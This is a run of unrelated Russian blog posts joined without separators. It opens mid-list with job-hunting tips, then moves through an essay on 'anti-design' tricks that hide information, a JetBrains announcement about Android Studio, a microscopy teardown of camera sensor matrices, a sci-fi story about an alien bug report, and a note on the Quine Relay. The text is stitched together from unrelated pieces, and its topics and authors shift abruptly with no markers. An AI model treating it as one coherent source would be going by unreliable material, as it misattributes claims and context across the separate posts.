  1. Как можно точнее решите для себя, что вам нужно. Неважно, интересная ли это работа, много денег, интересный коллектив, профессиональный и карьерный рост, офис через дорогу или отпуск длиной в месяц — решите, что нужно именно вам и ищите работу именно из этих приоритетов. С точными требованиями работа находится намного быстрее, чем с абстрактными.
  2. Сформулируйте все свои требования и не забудьте об этом сказать работодателю. Если вы работаете только на маке, или вам необходимы открытые окна, если вы хотите иногда работать дома или привыкли отдыхать дольше двух недель подряд, то лучше сказать об этом сразу, чем надеяться, что эти вопросы решатся по ходу. Могут решиться, а могут стать камнем преткновения, которые потом перерастут в конфликты и недовольство.
  3. Зачастую, если специалист вашего уровня имеет среднерыночную зарплату 100 тысяч, то можно найти компанию, которая по каким-то соображениям готова платить не больше 80 и договориться на некоторые плюшки, как частично удалённая работа, более свободный график или неполный рабочий день.


Буду очень рад, если написанное мной кому-то поможет. Желаю всем хорошего дня, соискателям — найти интересную работу, а работодателям — хороших сотрудников.

Апдейт. Всё-таки не понимаю я Хабр. Совсем. Когда-то давно, в 2009 году, я написал статью про многопоточность на PHP. С профессиональной точки зрения она была средненькой, но я вложил в неё душу и все свои знания на тот момент. Меня заминусовали, и статью пришлось удалить. Сейчас написал статью «ни о чём». Точнее, о том, что и так всем известно. Приукрасил несколькими сюсю-мусю из своих похождений. И был готов морально к тому, что меня опять заминусуют. И вдруг статья лучшая за 24 часа… Столько плюсов, комментов, добавлений в избранное.
Люди, а что я такого ценного то написал? Может, я просто сам ещё не понял?
[Уже появилась и Часть 3]

Дизайнеры всегда стремятся улучшить свою работу. Профессионалы непрерывно учатся, общаются, стремятся узнать новые идеи — все это помогает решать проблемы людей более правильно, быстро и качественно.

Но что, если не все дизайнеры применяют свое мастерство для решения проблем, которые мы считаем достойными? Что если не все стараются облегчить доступ к информации, упорядочить ее, красиво оформить, дать потребителю именно в том месте, где она ему нужна?

Не так давно, я написал статью под названием "Антидизайн". В ней я говорил о том, что при применяя законы дизайна наоборот различные организации специально путают людей, затрудняют восприятие информации и получают от этого прибыль.

Антидизайн(здесь) намеренное усложнение доступа к информации, которая обязана быть открытой, с целью получения выгоды.


Меня волнует эта тема. Я решил развить ее и в следующих статьях покажу основные приемы антидизайна. Заметив их в обычной жизни, вы можете догаться что это не просто кривизна чьих-то рук, но осознаваемый умысел. Возможно, вы заметите как вас хотят запутать, смутить, пытаются манипулировать вами.

В этой статье я начну с разбора очевидных, прямых и явных способов антидизайна.

1. Кодирование


Самым простым путем ограничить доступ к информации является кодирование. Его неуместное применение в несколько тысяч миллионов раз замедлит усвоение и восприятие информации. Сделает невозможным ее анализ.



Когда люди сталкиваются с отказом в визе, они видят только свой паспорт с каким-то штампом и буквами. Существует сразу несколько мнений о том что значат эти буквы: просто тип визы или зашифрованная причина отказа. Некоторые конторы даже умудряются получать деньги за трактовку кодов посольств.

Но на этом примере мы видим простое отсутствие расшифровки кодов. Антидизайн же применяется когда вся необходимая информация должна быть человеку предоставлена. Тут, на «помощь» может прийти способ кодирования и форма расположения самих закодированных данных.



Дальше — под катом.



На таком графике хорошо заметны лишь сильно различающиеся величины, но старательно затруднена идентификация их принадлежности, а тем более анализ. Попробуйте понять на что потрачено больше: на фрукты или молоко? Движения ваших глаз начнут напоминать движения миксера, и через малое время мозг потребует прекратить безобразие и рубанет миксеру электричество.

Это всего лишь гипотетический график семейного бюджета. Не серьезно? Но если бы это не муж хотел скрыть от жены-экономиста-скряги свои пивные делишки, а нерадивый менеджер результаты квартала от директора? Или ваш подрядчик результаты продвижения?

Хотя есть способ кодирования, который практически незаметен. Если только не начать думать, вы будете уверены, что сейчас самое время прикупить хатку с двумя джакузи на Остоженке, ведь она стоит столько же, сколько два года назад, драматически обвалившись в цене. Денег хватит даже на наложницу.



Но стойте. Ведь здесь цены закодированы любимым способом всех торговцев с девяностых годов — магическими заклинанием «у.е». Если перевести цены в рубли, картина мгновенно преображается.



Посмотрите на обещания из телевизора «Машина по цене 2008 года! Спешите!». А теперь переведите ее в рубли. Стенания купцов о кризисе как-то сразу становятся менее убедительными, ведь во многих случаях они просто вас обманывают.

2. Инфошум


Ну с этим все понятно. Чаще всего, конечно, здесь не злокозненное применение законов дизайна, а их незнание. Поэтому эффект антидизайна может быть случайным. Выгоду здесь получают сами оформители — продуцируя «дизайны» показывают заказчику трудоемкость своей работы.



Вообще, инфошум, замусоривание, задизайнивание — в разных случаях это явления одного правила 1 + 1 = 3. Размещение одного функционального элемента и одно декоративного порождает еще один декоративный, образующися в промежутках между ними, перегружающий мозг, мешающий воспринять информацию.

Если грамотно окружить фактурными рамочками предупреждени о вреде алкоголя, многие люди его просто не увидят. Купив сироп от кашля, вы будете думать, что та пометка на нем — часть орнамента и смысл ее никчемен.

3. Сырые данные


В этом методе упорядочивание и оформление может быть грамотно и красиво применено. Но только к информации, которая сама по себе несет мало пользы. Большими таблицами с данными исследований можно иллюстрировать любую мысль. Статистические записи прибылей компаний — участников очередного рейтинга покажутся вам убедительными, но сколько людей полезут в этих данных разбираться?



Формально, в таблице котировок акций ничего не спрятано и не закодировано, но тысячи компаний делают деньги на обработке этих данных. Пакеты анализа логов сервера могут стоить много долларов.



В принципе, ничего предосудительного в этом нет. Ведь компании тратят силы на анализ данных и ресурсы на разработку инструментов его проведения. Логично платить за эти их труды.



Но непонятно до истерики почему нужно платить за… эм… анализ? обработку? Нет, за ограничение доступа к моим же собственным данным!

Здесь я бы хотел ввести один новый термин:

Эскимос(здесь, сокр. от «продавать снег эскимосам») функционал, чье назначение брать деньги за трудозатратно необоснованные манипуляции с данными, которые и так доступны.


Эскимосы — пожалуй самые раздражительные примеры антидизайна. Но что еще больше раздражает — всегда найдутся люди, которые этот снег купят.

4. Ложный контекст


О! Нескончаемый поток примеров этого вида антидизайна можно получить, если просто включить новости. Телек, конечно, это не совсем дизайн, но ничто не мешает использовать те же методы, скажем, в пропагандирующих листовках, плакатах, баннерах, газетах.



Приплести какое-либо событие к какому-нибудь другому процессу — получите пиар-статью и распишитесь. Пришить разноцветными нитками крупными стежками можно что угодно к чему угодно. Причем это работает во все возможные стороны.



Медведев отреагировал на жалобу в блоге + плохое состояние больниц = возрождение медицинской системы.

Медведев отреагировал на жалобу в блоге + а сегодня не отреагировал = показуха и обман народа.



Чтобы понять что вообще происходит, нужно знать что было на самом деле. Может быть Медведев просто в фанты проспорил сделать благо за 24 часа, но мы же не узнаем никогда этого. Как и кучу других вещей, которые мы видим только помещенными в неоригинальный контекст.

5. Временной срез


Горепиарщики так же очень любят этот метод. Продемонстрировав какую-нибудь эффектную цифру или отрезок, они незамедлительно объявляют Достижение, Тренд или Кризис. Хотя на самом деле смущенно умалчивают о других цифрах, которые ее окружают.



Чтобы понять реальное состояние дел, надо отстраниться, отойти подальше, чтобы увидеть больше.



Грандиозно запудрить головы красивыми цифрами можно подогнав их к какому-нибудь знаменательному событию. Например, можно эксплуатировать хабраэффект. Вставить на известном ресурсе ссылку на себя:

http://nordisk.pp.ru/design/

А затем говорить рекламодателям и спонсорам о сногсшибательной посещаемости своего сайта.



И под страхом смерти не упоминать, что завтра все кардинально изменится. Вдруг, прокатит.



(Эх, блин, так хорошо придумал. Жалко, что я ненавижу рекламу и у меня нет спонсоров :(

6. Ложное изображение


Первая идея в том, что злопыхатель иллюстрирует свои данные картинками, не соответствующих этим данным размеров.



Осторожные махинаторы всегда могут свалить на «декоративность» рисунков, но им нельзя этого позволять.

Тогда они могут мухлевать с самими данными. На этой картинке показаны два графика цен на нефть: с учетом инфляции и без. Представьте, как можно давить на людское мнение, если показать только один из них



Наконец, если и тут раскроют, можно дать вид на предмет обсуждения с другого угла обзора, никак не относящегося к делу, зато красивого и выигрышного.



Ведь на этом проекте дизайна стрелочки заценят разве только жители верхних этажей, да милиционеры на вертолетах. Пользователям остановки — пешеходам — на них наплевать, потому что они видят конструкцию под другим углом.

7. Усложнение простого


Мысль человека подобна дереву. Начиная с простого, она ветвится и множится, делясь и развиваясь в разных направлениях. Очень часто за наростами рассуждений и уточнений становится не разглядеть основной идеи.

Такую корне-ветвистую систему представляют собой почти все законодательные книжки. Некий процесс начинает регулироваться неким образом, потом нарастают уточнения регулирования, потом почкуются исключения из регулирования, потом ветвятся двусмысленные толкования исключений из регулирования — и так до бесконечности: дополнения, разъяснения, ссылки.

Гипергипертексттекст с кучей ссылок на другие части, которые ссылаются на третьи части, а те на первые и пятые, в которых нет упоминания о вторых, но есть о шестых.


Не надо бояться нечетко выразить процесс. Вот российские правила дорожного движения, где пытаются описать где нельзя ставить машину.



Этот «выпуклый перелом продольного профиля» — попытка однозначно определить местность, но все равно будут существовать исключения и уточнения, потому что мир бесконечно разнообразен. Надо остановиться. Надо ставить цель продукта — регулировать движение и быть легко запоминаемым — превыше юридических тонкостей. Вот тот же самый пункт в английском переводе норвежских ПДД:



Усложенение простого буквально порождает жизнь, которая как бактерии живет и множится на многочисленных ветках и листиках.



Узел усложнения простого никогда нельзя развязать, он запутается еще больше — его надо рубить.

Заключение


Смысл дизайнерского искусства заключается в том, чтобы помогать людям решать их проблемы. Но еще дизайн — это оружие, поражающее человеческий разум.

Дизайн предлагает порядок и красоту, дает готовое решение там, где человеку пришлось бы тратить время на его достижение. Но это значит, что он может блокировать процесс размышления и навязать решение, которое выгодно злоумышленнику. Это — антидизайн

Много компаний получают выгоду от применения антидизайна. Они обманывают вас, влияют на ваши решения, не дают информацию, важную для вашего здоровья и кошелька. В этих компаниях работают талантливые люди, но их талант направлен на ложь и обогащение за ваш счет. Очевидные методы, которые они используют, я описал в этой статье. В следующей я перейду к более хитроумным, скрытым и опасным манипуляциям.

Срочно в номер — только что объявлено на Google I/O:

платформа IntelliJ, разработанная JetBrains, стала основой для нового продукта Google — Android Studio. На платформе IntelliJ построена большая часть продуктов JetBrains — от всемирно известной IntelliJ IDEA до быстро набирающих популярность специализированных IDE — PhpStorm, PyCharm, RubyMine и других.

Коммерческая версия IntelliJ IDEA поддерживает 50 языков программирования и более 150 фреймворков, а среди разработчиков приложений для Android особое признание получила IntelliJ IDEA Community Edition, версия IntelliJ IDEA с открытым кодом.

Именно эта IDE и заинтересовала наших коллег из Google благодаря широкой функциональности, открытости и высоким оценкам сообщества. Разработчики Google пригласили нас к сотрудничеству в работе над Android Studio — новой IDE для разработчиков под Android, основанной на платформе IntelliJ и расширяющей функциональность IntelliJ IDEA Community Edition. Мы с удовольствием приняли приглашение.

При этом IntelliJ IDEA Community Edition продолжает развиваться, JetBrains предоставляет ее по-прежнему бесплатно с исходными кодами. Мы рады предлагать сообществу самую умную IDE для разработки на Java, и гордимся своим вкладом в новый инструмент от Google.

Предисловие


Два месяца тому назад в статье, посвящённой сравнению LCD и E-Ink дисплеев, я упомянул, что одним из следующих обзоров будет «вскрытие» матрицы современного фотоаппарата. И спешу исполнить данное обещание!


Первым в «коллекцию» светочувствительных матриц попали фронтальная и задняя камеры смартфона одного известного корейского производителя, который был любезно предоставлен Василием Столяровым. Затем хабраюзер DarkWood, живущий недалеко от Москвы, прислал мне свой старенький неработающий фотоаппарат фирмы Pentax (здесь и далее я намеренно не буду указывать точную модель девайсов). Девайс был мёртв и это был хороший повод сдать его в мои заботливые руки, а не выкидывать, как многие делают.

И как только я собрался пилить, поступило ещё одно предложение от моего практически однокурсника, Ильи. От этого предложение я не мог отказаться. Мне презентовали относительно современный Canon, у которого были проблемы со съёмкой изображений.

Таким образом, на красно-революционно-первомайский стол ложатся три кандидата: OEM камера из телефона и фотоаппараты Pentax (самый пожилой среди всех участников) и Canon (пожалуй, самый молодой).

Если ещё кто-то не знает, зачем мы здесь собрались, то в подвале данной статьи есть ссылки на предыдущие «вскрытия». Если же кто-то запамятовал, как работает цифровой фотоаппарат или зачем нужна матрица, то милости просим на Wiki или просто посмотрите это видео от канала Discovery:



Часть теоретическая. CCD и CMOS


На сегодняшний день матрицы, выполненные по технологии CMOS (Complementary Metal-Oxide Semiconductor) завоевали более 90% мирового рынка, а не так давно безумно популярным CCD (Charge-Coupled Device) уже пророчат скорый закат.

Причин тому масса, вот далеко не полный список преимуществ CMOS-технологии: во-первых, низкое энергопотребление в статическом состоянии по сравнению с CCD, во-вторых, CMOS сразу «выдаёт» цифровой сигнал, который не требует дополнительного преобразования (точнее преобразование происходит на каждом отдельном субпикселе), в отличие от CCD, которое является фактически аналоговым устройством, в-третьих, дешевизна производства, особенно при больших размерах матриц.

Кратко ознакомиться с принципами работы CMOS-матриц можно с помощью в двух видео от компании Canon:





Но все наши пациенты (может быть, за исключением матрицы камеры мобильного телефона) относятся к той эпохе, когда миром безраздельно правил CCD, а CMOS только набирался сил и светочувствительности, чтобы впоследствии занять лидирующие позиции. Поэтому несколько слов, всё же, скажу о том, как работает CCD-матрица. Более подробное описание всегда можно найти на страницах Wiki.

Итак, фотон от объекта съёмки, пройдя сквозь фильтр Байера, то есть цветофильтр типа RGBG, или фильтр RGBW и собирающую микролинзу, попадает на светочувствительный полупроводниковый материал. Поглощаясь, фотон порождает электро-дырочную пару, которая в ячейке под действием внешнего электрического поля «разделяется», и электрон «отправляется» в копилку – потенциальную яму, где он будет ожидать «чтения».


Схема устройства CCD матрицы (Источник)

Чтение же в CCD матрицы происходит «поячеечно», если так можно выразиться. Пусть мы имеем массив 5 на 5 пикселей. Сначала мы считываем количество электронов, а по-простому величину электрического тока, с первого пикселя. Затем специальный контроллер «сдвигает» все ячейки на одну, то есть заряд из второй ячейки перетекает в первую. Опять считывается значение и так, пока не будут прочитаны все 5 ячеек. Далее уже другой контроллер сдвигает оставшееся «изображение» на одну строчку вниз и процесс повторяется, пока не будут измерены токи во всех 25 ячейках. Может показаться, что это долгий процесс, однако для 5 миллионов пикселей он занимает считанные доли секунд.


Процесс считывания изображения с CCD матрицы (Источник)

Чтобы было совсем понятно, предлагаю ознакомиться со следующими видео:





Часть практическая


Обычно красивыми разборами занимаются люди в белоснежных перчатках, недавно они добрались и до фотоаппаратов, однако поговаривают, что за видео-инструкцию по сборке необходимо доплатить, отправив смс на короткий номер. Далее будут применяться чуть более чем полностью топорные методы, так что не советую повторять это в домашних условиях…

Как разбирался сотовый телефон всегда можно посмотреть на страницах предыдущей статьи, поэтому не буду здесь приводить эти душераздирающие кадры ещё раз.

Вышеупомянутый фотоаппарат Pentax был предоставлен мисьё DarkWood, у которого, как мне кажется, сейчас сердце должно обливаться кровью, а по щеке катиться скупая мужская слеза:


Разборка Pentax в фотографиях

Из всего многообразия деталей, нас пока интересует лишь LCD дисплей, который будет демонстрироваться школьникам, приходящим к нам, на ФНМ, на экскурсии, сама CCD матрица, стекло с чем-то подозрительно напоминающим поляризатор или фильтр и ИК-подсветка (красная лампочка) для ночной съёмки. Стоит отметить, что матрица жёстко закреплена на корпусе фотоаппарата. Следовательно, все вибрации Ваших рук будут без труда напрямую передаваться на саму матриц, что, согласитесь, никак не способствует качественной фотосъёмке. Видимо, DarkWood имеет железобетонные нервы.

Что между тем не помешало ему, «утопить» свой любимый фотоаппарат. Помните, когда летом Вы оправитесь в тёплые страны на море и будете пытаться сфотографировать очередную накатывающую волну, что фотоаппарат – устройство, в котором токи могут приводить к коррозии.


Следы коррозии прямо на шлейфе, ведущем к кнопке спуска затвора (к сожалению, не единственное такое место)

Сразу видно, что Canon – чуть более продвинутая, более современная модель, нежели Pentax. Например, матрица подпружинена (на левом нижнем изображении хорошо различимы маленькие пружинки). Такая пассивная система стабилизации изображения способствует получению более качественных и чётких снимков, если, конечно, Вы не неврастеник в запущенной стадии!


«Внутренности» Canon

Кстати, на фото справа внизу отчётливо виден громадный конденсатор, отвечающий за вспышку, из-за проблем с которым мне когда-то пришлось списать свою цифровую мыльницу Canon.

Камера мобильного телефона

Начнём наши изыскания с камеры мобильного телефона, которой будет посвящено не так много времени и слов в этой статье по причине того, что сама матрица имеет совершенно микроскопические размеры и с ней трудно работать (пилить, шлифовать).

Как не сложно заметить, на оптических микрофотографиях ниже матрица у края имеет две зоны: более светлую и более тёмную. Надеюсь, что все уже догадались: под светлой стороной нет диодов, она нанесена просто так, с запасом, чтобы максимально закрыть собой тонкую душевную организацию матрицы…


Накроем всё с запасом – нам не жалко

Микрофотографии, полученные с помощью оптического микроскопа, значительно отличаются, от тех, что выдаёт микроскоп электронный. Например, как на счёт «квадратуры сферы»?

Дело в том, что на оптике мы не видим каких-то прозрачных слоёв (да хотя б они и просто менее заметны), тогда как электронная микроскопия – прежде всего метод анализа поверхности, то есть вполне может быть так, что круглые цветные цветофильтры накрыты сверху квадратными «колпаками». При этом размеры такого кубосферического субпикселя составляют около 2,5 микрометров.


Вот такая она, квадратура сферы…кстати, в вакууме…

Матрица фотоаппарата Pentax

Исследование CCD-матрицы фотоаппарата Pentax начнём с оптических микрофотографий. К моему глубокому сожалению, из-за стерических затруднений, как говорят химики, в системе образец-микроскоп, не удалось снять при больших увеличениях и рассмотреть отдельные субпикселы.


Что-то написано, интересно, а можно тут где-нибудь увидеть имена маленьких китайских детишек?

Каждая посадочная площадка под контакты пронумерована, но не к каждой подведён тот самый контактный провод.


А вот так мы скоро будем учиться считать – с помощью нанотехнологий, естественно…


Чёткая граница между самой матрицей и «обвязкой»

А следующая микрофотография достойна учебника по электронной микроскопии. Знаете, почему электронный микроскоп не является средством измерения? Да-да, именно поэтому: из-за локального накопления заряда, вроде бы сферические объекты вдруг стали эллипсоидами:


Но мы-то знаем, что это сферы…

Далее взглянем на то, что находится вокруг светочувствительной матрицы. Так как я не являюсь специалистом в области создания электронных схем, то боюсь даже предполагать, зачем нужны все эти сложные конструкции и «хитросплетения» проводников, может быть, найдётся кто-нибудь, готовый пояснить назначение приведённых ниже деталей и компонентов (в комментариях, конечно же)?


Непоколебимые столбики, пережившие распил и полировку…


В этих слоях можно запутаться, а чёрту и ногу сломать

Этот выпуск «Взгляд изнутри» — знаковый, после нескольких лет «мытарств» нам, наконец-то, установили новую систему микроанализа, так что в некоторых случаях, я смогу не только приводить красивые картинки, но и пояснять из каких химических элементов увиденное состоит.

А вот и самое интересное – матрица во всей своей красе. Под сеточкой, в ячейках которой расположились микросферы-линзы, можно видеть отдельные фоточувствительные элементы (ну или их останки, точнее сказать затруднительно). Чуть ниже при обсуждении матрицы Canon я в деталях поясню «cross-section» устройство матрицы. Пока же обратимся к данным локального химического анализа. Оказывается, что сетка состоит из вольфрама, а микросферы, по всей видимости, это диоксид кремния, который сверху «укрыт» каким-то полимерным материалом. С более детальным анализом можно ознакомиться здесь.


Матрица во всей своей сложноустроенной красоте

Возвращаясь к первому СЭМ-изображению в этой главе, хочется отметить, что контактные площадки выполнены из чистого золота (о да!), однако проводники внутри сенсора, по всей видимости, состоят из алюминия, на который тончайшим слоем напылена медь, содержание которой на грани чувствительности прибора. Детальная информация представлена тут.

Матрица фотоаппарата Canon

Продолжим наше погружение в микро- и наномиры мы, как обычно, с оптической микроскопии. Как и в случае с Pentax, матрицу от фотоаппарата Canon не удалось снять на высоком увеличении вследствие геометрических нестыковок. Однако из полученных микрофотографий можно оценить размер отдельного субпикселя – около 1,5 мкм, что гораздо меньше, чем у матрицы мобильного телефона.


Оптические микрофотографии матрицы Canon

Кстати, один из виновников невозможности снимать на оптическом микроскопе при больших увеличениях – «покровное» стекло, закрывающее собой матрицу и её «начинку»:


Хороший кадр: передача за стеклом

Конечно, всегда самое интересное прячется на сколах, где разваливающийся строго упорядоченный мир даёт трещину, позволяющую заглянуть в самые сакраментальные уголки устройства:


Чуть позже мы ещё вернёмся к желтовато-оранжевым областям этой фотографии…

Уже знакомые нам столбики совершенно не понятного предназначения:


Как стойкие оловянные солдатики

Теперь рассмотрим более детально устройство CCD-матрицы. Сверху CCD-матрица покрыта чем-то, напоминающем полимерный слой (1), который защищает фоточувствительные элементы от агрессивной внешней среды. Под ним находятся микролинзы с красителем (2 и 3). Но так как электронная микроскопия не позволяет получать цветные изображения, то точно сказать, окрашена большая или маленькая сферы не представляется возможным. Микролинзы из диоксида кремния (наиболее вероятный материал для их изготовления) закреплены в ячейках вольфрамовой сетки (4), под которой скрывают фоточувствительные элементы (5). И, конечно же, вся эта конструкция покоится на подложке из чистейшего кремния!

С учётом того, что матрица дополнительно защищена «покровным» стеклом, то фотоэлементы защищены лучше, чем президент РФ в своём лимузине (если, конечно, сделать поправку на масштабный фактор).

Данные микроанализа можно скачать тут.


Устройство матрицы по пунктам. Описание в тексте

Но и это ещё не всё. У нас же осталось ещё стёклышко, прикрывающее матрицу, которое, как кажется, является поляризатором. Оно несколько шероховатое по краям, но практически идеально гладкое по всей остальной площади поверхности. Вроде бы оптическая микроскопия не даёт никаких результатов: стекло, как стекло.


Стекло с подозрением на поляризатор: ничего необычного

И только с помощью электронной микроскопии удаётся увидеть химконтраст на изображении и полосатую структуру. Толщина такой «плёнки» составляет всего-навсего 2,5 микрометра, при этом размеры отдельных слоёв 180 и 100 нм, соответственно, для более тёмных и более светлых. На основании данных микроанализа (тут), рискну предположить, что более тёмные области обогащены титаном, а светлые – алюминием. По-моему, это потрясающе!


Оказывается, внутри фотоаппарата своя полосата жизнь!

Послесловие


Такой мир уходящего века CCD-матриц предстал перед нами сегодня.

Спасибо всем (Василию за телефон, Илье и DarkWood за фотоаппараты), кто внёс свой посильный вклад в создание данной статьи. Вы – молодцы, что поддержали в этом нелёгком начинании!

И апофеоз данной статьи, а точнее его апофигей:


Покойтесь с миром, пока мы не придумаем вам нового применения

Бонус 1. Как выглядит зелёная пылевая буря в Москве?


Хотел сначала отдельным постом выложить, но решил не захламлять пространство. Буквально несколько дней назад Москву накрыло жёлто-зелёное облако, многие уже начали было готовится к приходу апокалипсиса, но обошлось… Что в реальности явилось причиной столь странной окраски?

Климат в последнее время барахлит на этой планете: то на Новый Год оставит без снега, то завалит снегом по самую макушку, то весна будет похожа на зиму, то вдруг неожиданно наступит лето. Цветы, деревья и растительность менее приспособлены к такого рода пертурбациям, поэтому 1,5 месяца весны сжавшиеся в 1 неделю заставили растения пересмотреть свои планы по размножению…

Утром, сев за письменный стол, я обнаружил на нём слой пыли, а протерев салфеткой, понял, что надо бы эту пыль как следует изучить. Сказано – сделано!

Но для всех у меня две новости: хорошая и плохая.

Хорошая новость – окраска жёлто-зелёного облака действительно была обусловлена большим количеством пыльцы (я насчитал, как минимум, три вида):


Состав московской бури: пыльца… Справа внизу пыльца на поверхности части растения

Плохая новость – этим мы тоже дышим, причём каждый день, а не в периоды размножения растений (микро- и наночастицы, которые не каждый фильтр поймает):


Состав московской бури: не очень приятная пыль и грязь

Бонус 2. Угадайте, что это?








P.S. В последнее время на ХабраХабре стало появляться большое количество постов, посвящённых тематике копирайта и «pay what you want». Например, собирают пожертвования в пользу ReactOS или на издание/написание книг. Подумал и решил тоже в это «ввязаться», так что дело за Вами, уважаемые читатели:

Yandex.Money 41001234893231
WebMoney (R296920395341 или Z333281944680)

За неделю удалось собрать около 2 500 рублей — СПАСИБО всем, кто откликнулся и внёс свой посильный вклад!!!;)

P.P.S. Кстати, неожиданно для себя открыл, что некоторые мои работы под распилу тех или иных предметов подвигают людей на свои собственные открытия.



Во-первых, полный список опубликованных статей на Хабре:

Вскрытие чипа Nvidia 8600M GT, более обстоятельная статья дана тут: Современные чипы – взгляд изнутри
Взгляд изнутри: CD и HDD
Взгляд изнутри: светодиодные лампочки
Взгляд изнутри: Светодиодная промышленность в России
Взгляд изнутри: Flash-память и RAM
Взгляд изнутри: мир вокруг нас
Взгляд изнутри: LCD и E-Ink дисплеи
Взгляд изнутри: матрицы цифровых камер
Взгляд изнутри: Plastic Logic
Взгляд изнутри: RFID и другие метки
Взгляд изнутри: аспирантура в EPFL. Часть 1
Взгляд изнутри: аспирантура в EPFL. Часть 2
Взгляд изнутри: мир вокруг нас — 2
Взгляд изнутри: мир вокруг нас — 3

и 3DNews:
Микровзгляд: сравнение дисплеев современных смартфонов

Во-вторых, помимо блога на HabraHabr, статьи и видеоматериалы можно читать и смотреть на Nanometer.ru, YouTube, а также Dirty.

В-третьих, если тебе, дорогой читатель, понравилась статья или ты хочешь простимулировать написание новых, то действуй согласно следующей максиме: «pay what you want»

Yandex.Money 41001234893231
WebMoney (R296920395341 или Z333281944680)
Ральф вошел в помещение ангара №1 в 8:30 утра, как делал это ежедневно уже несколько лет. Его взгляд сразу же устремился к центру зала, где на постаменте, окруженный множеством приборов и паутиной кабелей, находился смысл его работы. Собственно говоря, не только его — миллионов людей по всему миру. Первый инопланетный корабль. Полтора десятилетия назад он совершил аварийную посадку и был частично поврежден, оставив, однако, весьма много материала для изучения. Настоящим чудом стало то, что политики и учёные после этого события не переругались, а смогли организовать эффективное изучение свалившегося с небес подарка. На реверс-инжиниринг корабля были брошены лучшие умы планеты. Ральф, возглавляющий группу изучения приборов связи, стоял в ангаре и в который раз любовался стремительной, похожей на стрелу в полёте, формой корабля. Он вспоминал всё, что случилось за последние годы.

Почти сразу стало ясно, что техническая мысль создателей аппарата ушла далеко вперед. Нашлось, всё-же, в инопланетной технике и кое-что знакомое. Год за годом учёные изучали корабль, пытались восстановить отдельные его узлы — и со временем кое-что начало получаться. Сначала удалось проникнуть внутрь. К сожалению, корабль оказался беспилотным, так что встретить внутри живых или пусть даже мертвых инопланетян не удалось. Затем понемногу начали раскрываться и другие тайны: состав материала корпуса, принцип работы двигателей, предназначение некоторых вспомогательных механизмов. Большой удачей оказалось неповрежденное состояние бортового компьютера — его удалось включить и даже со временем снять всю хранящуюся внутри информацию. Конечно, она была на полностью незнакомых инопланетных и машинных языках, но общие принципы кодирования вскоре были расшифрованы. За полтора десятка лет в инопланетном корабле удалось понять практически всё. Механизм работы двигателей оказался весьма сложным, а сами двигатели — поврежденными, однако уже начались работы по постройке собственных, аналогичных. Но даже по самым оптимистичным прогнозам, до окончания этих работ было еще несколько десятков лет. Другим успехом было открытие принципов сверх-дальней связи. Изящная теория Т-волн позволяла отправлять сообщения мгновенно на произвольные расстояния, оставив далеко в кильватере релятивизм с его смешной верой в максимальность скорости света. Тайны отступали одна за одной — звёздные карты, записи «черного ящика» корабля, алгоритмы работы бортовых систем, устройство датчиков. Всё это дало современной физике не то что толчок — целую серию сверх-мощных пинков и в данный момент лаборатории и заводы по всему миру активно изучали, осваивали и применяли на практике инопланетные технологии.

Несколько недель назад была закончена первая собственная станция связи на Т-волнах. Наконец появилась возможность отправить сообщение создателям корабля. На это, правда, из-за несовершенства новой технологии нужно было бросить всю энергию планеты — и даже этого едва хватало на передачу несколько килобайт данных, да полчаса ожидания ответа. Но попытаться стоило.

Или не стоило? Мир разделился на два лагеря. Первый считал, что однозначно нужно предпринять попытку связи, поприветствовать инопланетный разум, сообщить о найденном корабле, рассказать о себе и ждать ответа. Вторые были более осторожны. Их основным аргументом были несколько нераскрытых загадок в инопланетном корабле. Например, до сих пор оставалась не понятой цель его полёта. Согласно расшифрованным алгоритмам бортовых систем кораблю была дана задача «лететь вперёд, уворачиваясь от препятствий». До бесконечности. Какая-то чушь! Он не должен был вернуться, не должен был достичь какой-то конкретной цели, не вёз пассажиров или груза. Более того, упал он исключительно из-за ошибки в программе управления полётом (оказалось, что определенная комбинация типа звезды, планеты, массы её спутника и еще нескольких параметров перебрасывали выполнение программы в ветку с неинициализированным параметром — и именно это и привело к аварийной посадке). А может быть, в этом и была цель — при появлении такой комбинации параметров — сесть, дав возможность местным жителям исследовать передовые технологии и выйти на связь? Или корабль всё-таки летел куда-то, а данная авария разрушила важные планы инопланетян? В таком случае они могут быть недовольны, могут прилететь и забрать свою собственность, могут высказать претензии на счёт захвата и порчи их техники, и вообще — мало ли как дела сложатся… Было боязно.

После долгих дебатов было принято решение на связь всё-же выйти. В сообщении рассказать о крушении корабля и приложить подробное описание найденных причин аварии, подчеркнув, что никакого внешнего воздействия на корабль не предпринималось и единственной причиной аварийной посадки была ошибка в подпрограмме (выкладки и логи прилагались). Было назначено время отправки сообщения и в этот ключевой момент истории весь мир замер, зная, что доступной энергии хватит лишь на полчаса ожидания ответа, и надеясь, что он за это время придёт.



Руководитель проекта создания беспилотников дальнего радиуса «Стрела» вошел в помещения отдела программирования бортовых систем и сразу позвал к себе ведущего разработчика:

—Антон, опять пришло сообщение. 7 минут назад.
—Откуда на этот раз?
—Альфа Лебедя. Точнее надо?
—Нет. Мы в том направлении отправляли только один прототип… Секундочку… Да, КЛ-15300. Что в сообщении?
—Багрепорт. Неинициализированная переменная. Весьма грамотно составлено, скажу тебе. Я уже просмотрел исходники — они правы. Наш баг.
—Ну что же, исправим.
—Исправим, конечно. Но что ответить этим, с Альфы? Они подчеркнули, что энергии на ожидание ответа у них немного.
—Стандартную форму.
—Стандартную форму? «Здравствуйте! Ваше обращение очень важно для нас, оно было зарегистрировано в нашем багтрекере под номером ...» и т.д.? Ну хорошо. Но ты уверен, что мы всё делаем верно? Что так и надо?
—Андрей, мы это обсуждали уже тысячу раз.
—Да, но…
—Никаких но, ты знаешь это не хуже меня. Уже прошло очень много лет с тех пор, как стоимость изготовления техники аналогичной нашим беспилотникам, и даже сильно более сложной, стала несоизмеримо малой в сравнении с зарплатой людей-тестировщиков. Да, мы могли бы нанять для нахождения вот этого бага с забытой переменной живого человека и он бы потратил на него — сколько? Ну пусть 2 дня работы. По нынешним расценкам это 500 эргов! А создание того беспилотника нам обошлось в 15 эргов. Даже при том, что 9 из 10 прототипов «Стрел» теряются безвозвратно, прибыль от багрепорта аварии десятого перекрывает всё. Ты же сам знаешь — оказалось, что это единственный способ.


Квайн — компьютерная программа, которая выдаёт на выходе точную копию своего исходного текста. Японский рубист Юсукэ Эндо (Yusuke Endoh) создал нечто невероятное. Quine Relay — программа на Ruby, которая генерирует код программы на Scala, которая генерирует код программы на Scheme, которая генерирует… и так далее на 50-ти языках программирования, пока программа на REXX снова не генерирует изначальный код на Ruby.

